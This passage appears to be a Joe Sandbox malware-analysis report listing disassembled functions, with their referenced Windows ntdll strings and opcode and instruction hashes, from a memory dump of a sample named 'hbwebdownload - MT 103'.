                                                                                                                                                                                    • Instruction Fuzzy Hash: A9613D71E602099FDB25DFA88850BADBBB9FB54700F16403DE649EB2A1D731A940CB50
                                                                                                                                                                                    Function 013243D4 Relevance: 2.7, Strings: 2, Instructions: 169COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: @$MUI
                                                                                                                                                                                    • API String ID: 0-17815947
                                                                                                                                                                                    • Opcode ID: 6c5343743bb62be49488ecdf73f3deca9374400450ef8296f0156abdd91cca21
                                                                                                                                                                                    • Instruction ID: 2611e688b19ecb55ef73f22443f418f368b93dc3623cbb050ba72784033c6ecf
                                                                                                                                                                                    • Opcode Fuzzy Hash: 6c5343743bb62be49488ecdf73f3deca9374400450ef8296f0156abdd91cca21
                                                                                                                                                                                    • Instruction Fuzzy Hash: F5510971D1062DEFDF11EFA9CC90AEEBBB9EB44758F100529E615B7290DA309E05CB60
                                                                                                                                                                                    Function 012804E5 Relevance: 2.7, Strings: 2, Instructions: 153COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • kLsE, xrefs: 01280540
                                                                                                                                                                                    • TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 0128063D
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
                                                                                                                                                                                    • API String ID: 0-2547482624
                                                                                                                                                                                    • Opcode ID: a9addc095370d8890a735bc7b4fcad747a0047120a05cc28cb4482195cc080c7
                                                                                                                                                                                    • Instruction ID: b3c8dd7534284848ef4926b05d132df46008e600ef5bca6e2318a6c5f75624ed
                                                                                                                                                                                    • Opcode Fuzzy Hash: a9addc095370d8890a735bc7b4fcad747a0047120a05cc28cb4482195cc080c7
                                                                                                                                                                                    • Instruction Fuzzy Hash: 2A51CF715217438FD724EF29C4406A7BBE4BF84304F14483EFA9987681E774E549CBA9
                                                                                                                                                                                    Function 0128A2C3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • RtlpResUltimateFallbackInfo Exit, xrefs: 0128A309
                                                                                                                                                                                    • RtlpResUltimateFallbackInfo Enter, xrefs: 0128A2FB
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
                                                                                                                                                                                    • API String ID: 0-2876891731
                                                                                                                                                                                    • Opcode ID: 0593ecf4d8891e5417bf8f8574820535b7a0d8e433d24233c0f5de158574cd60
                                                                                                                                                                                    • Instruction ID: 91d17cfc2b25b076b8f5a22c444fd2d7794b1ad97942af163d89527c211020ea
                                                                                                                                                                                    • Opcode Fuzzy Hash: 0593ecf4d8891e5417bf8f8574820535b7a0d8e433d24233c0f5de158574cd60
                                                                                                                                                                                    • Instruction Fuzzy Hash: 5241B030A2564ADBDB21DF6DC444B6DBBF8FF85700F1440AAEA06DB291EBB5D900CB50
                                                                                                                                                                                    Function 012BA5D0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID: Cleanup Group$Threadpool!
                                                                                                                                                                                    • API String ID: 2994545307-4008356553
                                                                                                                                                                                    • Opcode ID: 3d4d9922cb3adf1af1e0ecbd1c0bd91f42e3087f9bcfca9b5b5838550e561ca0
                                                                                                                                                                                    • Instruction ID: 2d1c50638c52c6617f27c9ea30925c1812c0fc3b9db132f55d7a828556d4886d
                                                                                                                                                                                    • Opcode Fuzzy Hash: 3d4d9922cb3adf1af1e0ecbd1c0bd91f42e3087f9bcfca9b5b5838550e561ca0
                                                                                                                                                                                    • Instruction Fuzzy Hash: B301F4F2260700AFE321DF14CD86F667BF8E794B25F048939A648C7190EB74E904CB46
                                                                                                                                                                                    Function 0128C7C0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: MUI
                                                                                                                                                                                    • API String ID: 0-1339004836
                                                                                                                                                                                    • Opcode ID: 8bdfe4ae2c9be1f3196afee6273c17ee015f65648a4c891e9c3e570087626c66
                                                                                                                                                                                    • Instruction ID: ae11500e50b8efdba1ff4be6ba24340a8122735d2e877524442089d14d728096
                                                                                                                                                                                    • Opcode Fuzzy Hash: 8bdfe4ae2c9be1f3196afee6273c17ee015f65648a4c891e9c3e570087626c66
                                                                                                                                                                                    • Instruction Fuzzy Hash: 62827D75E222198FEB24EFA9C880BEDBBB1FF44310F148169DA19AB2D1D7709945CF50
                                                                                                                                                                                    Function 01306420 Relevance: 1.5, Strings: 1, Instructions: 264COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 0-3916222277
                                                                                                                                                                                    • Opcode ID: ccfe8e6d785c846f8b94a04f190af607595c2cdf463670c76568f0b3ff13f49d
                                                                                                                                                                                    • Instruction ID: 716a27a4e40587701e61143127d425238d104617d8d793495001adbc4abf0948
                                                                                                                                                                                    • Opcode Fuzzy Hash: ccfe8e6d785c846f8b94a04f190af607595c2cdf463670c76568f0b3ff13f49d
                                                                                                                                                                                    • Instruction Fuzzy Hash: 0B9171B1A50219AFEB22DB99CC95FAEBBF8EF14B54F500015F600AB194D775AD00CBA4
                                                                                                                                                                                    Function 0132E10E Relevance: 1.5, Strings: 1, Instructions: 255COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 0-3916222277
                                                                                                                                                                                    • Opcode ID: f07ea88ce87d45e4c3fe4f52ff27764b9b5e923d7917ec439617a0a0f3d10f7a
                                                                                                                                                                                    • Instruction ID: 33416082d11801d825c3c917ea9a4bca4cce03615454a98c9d3cc6deac4c013e
                                                                                                                                                                                    • Opcode Fuzzy Hash: f07ea88ce87d45e4c3fe4f52ff27764b9b5e923d7917ec439617a0a0f3d10f7a
                                                                                                                                                                                    • Instruction Fuzzy Hash: E1919D32A00659AFDB26FBA9DC85FEFBB79EF45744F100029F605A7250E7749901CB90
                                                                                                                                                                                    Function 012BA660 Relevance: 1.4, Strings: 1, Instructions: 200COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: GlobalTags
                                                                                                                                                                                    • API String ID: 0-1106856819
                                                                                                                                                                                    • Opcode ID: a9180fd330f9521db2de38805214e351c7badb4b110e9a33deb14a77b87098dd
                                                                                                                                                                                    • Instruction ID: 13cf0d1d3a12ced7a79cb9551cd90361cc4b0ba49b77e4e0f92e63d67858d30c
                                                                                                                                                                                    • Opcode Fuzzy Hash: a9180fd330f9521db2de38805214e351c7badb4b110e9a33deb14a77b87098dd
                                                                                                                                                                                    • Instruction Fuzzy Hash: 3A717BB5E2021A9FDF28CF9CC591AADBBB2FF58700F14813EEA05A7241E7719845CB50
                                                                                                                                                                                    Function 01324978 Relevance: 1.4, Strings: 1, Instructions: 153COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: .mui
                                                                                                                                                                                    • API String ID: 0-1199573805
                                                                                                                                                                                    • Opcode ID: 371fa47bf79eaad1cb8359d40a1b38e824f6a2e70cb1ea1cde3f91fb8c219eeb
                                                                                                                                                                                    • Instruction ID: a98040c763e86610a58f60740f444c12af8de35d3ecd55d003826029a63b5b38
                                                                                                                                                                                    • Opcode Fuzzy Hash: 371fa47bf79eaad1cb8359d40a1b38e824f6a2e70cb1ea1cde3f91fb8c219eeb
                                                                                                                                                                                    • Instruction Fuzzy Hash: 6E51A472D1123A9BDF11EF99D940BAEBBB8AF14B58F054129EA15BB240D7349C01CBE4
                                                                                                                                                                                    Function 0129E627 Relevance: 1.4, Strings: 1, Instructions: 148COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: EXT-
                                                                                                                                                                                    • API String ID: 0-1948896318
                                                                                                                                                                                    • Opcode ID: 8b7ae08d1db1be8f9ad6cd34ac41999c371ab6d72557bf12721b7c08368417b3
                                                                                                                                                                                    • Instruction ID: 9feb055189708b1a37a00bfa2d229d5cc6112e447a4322d315ce5f2c9ff26b75
                                                                                                                                                                                    • Opcode Fuzzy Hash: 8b7ae08d1db1be8f9ad6cd34ac41999c371ab6d72557bf12721b7c08368417b3
                                                                                                                                                                                    • Instruction Fuzzy Hash: 3E41B372528342ABDB14DA79C880BBFB7E8AF98714F45092DFA84D7140E774D904C797
                                                                                                                                                                                    Function 012FC730 Relevance: 1.4, Strings: 1, Instructions: 129COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: BinaryHash
                                                                                                                                                                                    • API String ID: 0-2202222882
                                                                                                                                                                                    • Opcode ID: 51d5d659a237ebe27f0cadf7a164b2dcbec69f7f59229ad809730070c65d8069
                                                                                                                                                                                    • Instruction ID: dab637d2b27f1430995a311e7180dd196ba1a333b44a0ecf3985ea9657102c2b
                                                                                                                                                                                    • Opcode Fuzzy Hash: 51d5d659a237ebe27f0cadf7a164b2dcbec69f7f59229ad809730070c65d8069
                                                                                                                                                                                    • Instruction Fuzzy Hash: 1A4134B1D1052DABDF21DA50CC84FEEB77CAB54714F0045A9EB08AB140DB709E998FA4
                                                                                                                                                                                    Function 01316B40 Relevance: 1.4, Strings: 1, Instructions: 106COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: #
                                                                                                                                                                                    • API String ID: 0-1885708031
                                                                                                                                                                                    • Opcode ID: 87048e0a8f8b95d63c81da670074017cbd8c33e8fb1506215510cc51acca81e6
                                                                                                                                                                                    • Instruction ID: 3de3cb63537be28950f126381f52e790e0d6dbc0b0b99ef184d02b50c9b0f096
                                                                                                                                                                                    • Opcode Fuzzy Hash: 87048e0a8f8b95d63c81da670074017cbd8c33e8fb1506215510cc51acca81e6
                                                                                                                                                                                    • Instruction Fuzzy Hash: B4314A71A007499BEF2ADBADC851BEE7BB8DF44708F10402CE941AB282C7B5D805CB50
                                                                                                                                                                                    Function 012FCA72 Relevance: 1.3, Strings: 1, Instructions: 94COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: BinaryName
                                                                                                                                                                                    • API String ID: 0-215506332
                                                                                                                                                                                    • Opcode ID: 6165af69ecde70b9892b481e57a923787b5ed3257a5660d6231f51bcb9099c8b
                                                                                                                                                                                    • Instruction ID: 30eb624fc6bffe3e018893ae814b7a6000cb89f4c8cc35e830ec88d559258a09
                                                                                                                                                                                    • Opcode Fuzzy Hash: 6165af69ecde70b9892b481e57a923787b5ed3257a5660d6231f51bcb9099c8b
                                                                                                                                                                                    • Instruction Fuzzy Hash: 3031D47A91051EAFEB16DB59C845E7BFB74EB80720F01413DAB05A7250E730AE14D7E0
                                                                                                                                                                                    Function 0130892A Relevance: 1.3, Strings: 1, Instructions: 47COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 0130895E
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
                                                                                                                                                                                    • API String ID: 0-702105204
                                                                                                                                                                                    • Opcode ID: d4af6c28c49c445f4a8a0b77bd1bebbf1f7d365faf7815c2468a0f48eb953b6e
                                                                                                                                                                                    • Instruction ID: 24479b3b358fcad9dcd0df131aa0ee0bb872e57d454f073b7686b772a137afbb
                                                                                                                                                                                    • Opcode Fuzzy Hash: d4af6c28c49c445f4a8a0b77bd1bebbf1f7d365faf7815c2468a0f48eb953b6e
                                                                                                                                                                                    • Instruction Fuzzy Hash: BA01F7317102059BE63A7A599CA4B6A7BE9EF8535CF05045CF641165D1CB206C41C792
                                                                                                                                                                                    Function 01322000 Relevance: .8, Instructions: 757COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 95b3f18b07973cb063346f54ef4c7986217955822df88f742c3c35b162ab2765
                                                                                                                                                                                    • Instruction ID: db49bc17817501b5a4206fc0aab2ec12622035cdfb1560a7a6bce0200e152f14
                                                                                                                                                                                    • Opcode Fuzzy Hash: 95b3f18b07973cb063346f54ef4c7986217955822df88f742c3c35b162ab2765
                                                                                                                                                                                    • Instruction Fuzzy Hash: DF42F3326083518FE725EF68CC80A7BBBE5BF88308F58492DFA8697250D771D945CB52
                                                                                                                                                                                    Function 01318158 Relevance: .6, Instructions: 617COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 689a98b4ef03fc14684f6cb8a50d31350973fa74873effdc5f947f4c03f6a874
                                                                                                                                                                                    • Instruction ID: 103760b48599ee93954d0c05a3fc6b96c0e4767366bf40f9dc4f57d236ada3f6
                                                                                                                                                                                    • Opcode Fuzzy Hash: 689a98b4ef03fc14684f6cb8a50d31350973fa74873effdc5f947f4c03f6a874
                                                                                                                                                                                    • Instruction Fuzzy Hash: 13427C75E102198FEB29CF69C881BEDBBF5BF48304F188199E948EB245DB349981CF54
                                                                                                                                                                                    Function 01292840 Relevance: .6, Instructions: 605COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: f96caea7ff7e2f786e058bfa9bf8343c998be031d09688c102acc3c1b1277b81
                                                                                                                                                                                    • Instruction ID: b4964e67e09d8499eb8106f011601f9a59661078add4569edd3cc3d8bd43c8ff
                                                                                                                                                                                    • Opcode Fuzzy Hash: f96caea7ff7e2f786e058bfa9bf8343c998be031d09688c102acc3c1b1277b81
                                                                                                                                                                                    • Instruction Fuzzy Hash: FD32EE70A207568FEB24CF69C8487BEBBF2BFA4304F64411DD68A9B285D775A805CF50
                                                                                                                                                                                    Function 0132A118 Relevance: .6, Instructions: 591COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 6990e4b69b61dc0822eebccc4e4741b8ffe973412a45795c42d44bc7d0646ee3
                                                                                                                                                                                    • Instruction ID: 2ce566cb61bb4894db39de969d9692f43be107abbd4487e39cd8fc2c54f03cb5
                                                                                                                                                                                    • Opcode Fuzzy Hash: 6990e4b69b61dc0822eebccc4e4741b8ffe973412a45795c42d44bc7d0646ee3
                                                                                                                                                                                    • Instruction Fuzzy Hash: 5222D0702046758FEB25EF2DC054372BBF1AF45318F18849AEA868FE86D335E452DB64
                                                                                                                                                                                    Function 01286A50 Relevance: .5, Instructions: 548COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: c8e69f1cd3fe9667d212406f62f036e540eafeb54e6ff0b0bdb5930fdeac3d9b
                                                                                                                                                                                    • Instruction ID: 6b23b7ab7de1eb8a3358c7402dfef8d2c5cffaecb1b5c31783c8ef9412d99fce
                                                                                                                                                                                    • Opcode Fuzzy Hash: c8e69f1cd3fe9667d212406f62f036e540eafeb54e6ff0b0bdb5930fdeac3d9b
                                                                                                                                                                                    • Instruction Fuzzy Hash: B832C071A21206CFDB25DF68C480BAEBBF1FF48310F148569EA55AB391D774E851CB50
                                                                                                                                                                                    Function 012A4A35 Relevance: .4, Instructions: 423COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: e8a3620866af67e9ba5ee0a5ffcffd4608486dc740fad13053f627f14a392904
                                                                                                                                                                                    • Instruction ID: 63cd75e9aa24cb41de7d6ae2058c98a6049ed1e68e179c44ac753eec3ccabd01
                                                                                                                                                                                    • Opcode Fuzzy Hash: e8a3620866af67e9ba5ee0a5ffcffd4608486dc740fad13053f627f14a392904
                                                                                                                                                                                    • Instruction Fuzzy Hash: 3FF1B570E2065A9BDF15DF99C580BAEBBF5BF48304F488169EA05AB340E7B4EC41CB50
                                                                                                                                                                                    Function 0131892B Relevance: .4, Instructions: 386COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 5274fac0436f552022dc7560c0308144f4dcd73f431190dbce2377b15052bf51
                                                                                                                                                                                    • Instruction ID: bc5b03c8ac1b17565373ee4a9e73b02d6f699d581f99de2023a3705e1a8ba43c
                                                                                                                                                                                    • Opcode Fuzzy Hash: 5274fac0436f552022dc7560c0308144f4dcd73f431190dbce2377b15052bf51
                                                                                                                                                                                    • Instruction Fuzzy Hash: 8CD1F372E0060A8BDF09CF68C841AFEB7F6BF88308F1881A9D955E7245D735E901CB64
                                                                                                                                                                                    Function 012865D0 Relevance: .4, Instructions: 383COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 4724b65a359f435224c1a1c8e362c70141962b98a240bdec3ea34764515c2499
                                                                                                                                                                                    • Instruction ID: 96c54e4d5d5299083475d520f1bfca22bb17cf1d51f9850f7223458328d67d05
                                                                                                                                                                                    • Opcode Fuzzy Hash: 4724b65a359f435224c1a1c8e362c70141962b98a240bdec3ea34764515c2499
                                                                                                                                                                                    • Instruction Fuzzy Hash: 76E1A171519342CFC715EF28C090A6ABBE1FF89314F05896DEA998B391E731E905CB92
                                                                                                                                                                                    Function 01278397 Relevance: .4, Instructions: 380COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 93c494502d3afe8f1c7cc63024a02a53f934ed5c523b1513e6fb70dc08a5c024
                                                                                                                                                                                    • Instruction ID: dc2defe5c20488b925f21d7d56c7cb20aeba835885254b5c7c0b53120af45992
                                                                                                                                                                                    • Opcode Fuzzy Hash: 93c494502d3afe8f1c7cc63024a02a53f934ed5c523b1513e6fb70dc08a5c024
                                                                                                                                                                                    • Instruction Fuzzy Hash: 86D10371A2020B9FDB18DF29C895ABFB7A5FF55304F05822DEA16DB280E770D950CB90
                                                                                                                                                                                    Function 01308243 Relevance: .3, Instructions: 322COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
                                                                                                                                                                                    • Instruction ID: 575b83504363ac7cd84fe5f18d19939ee2d7eadc47a385a297045c7977b51a63
                                                                                                                                                                                    • Opcode Fuzzy Hash: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
                                                                                                                                                                                    • Instruction Fuzzy Hash: 16B15274E006059FDF26DF99C990AABBBF9FF84308F1444ADAA42977D1DA34E905CB10
                                                                                                                                                                                    Function 01290535 Relevance: .3, Instructions: 300COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
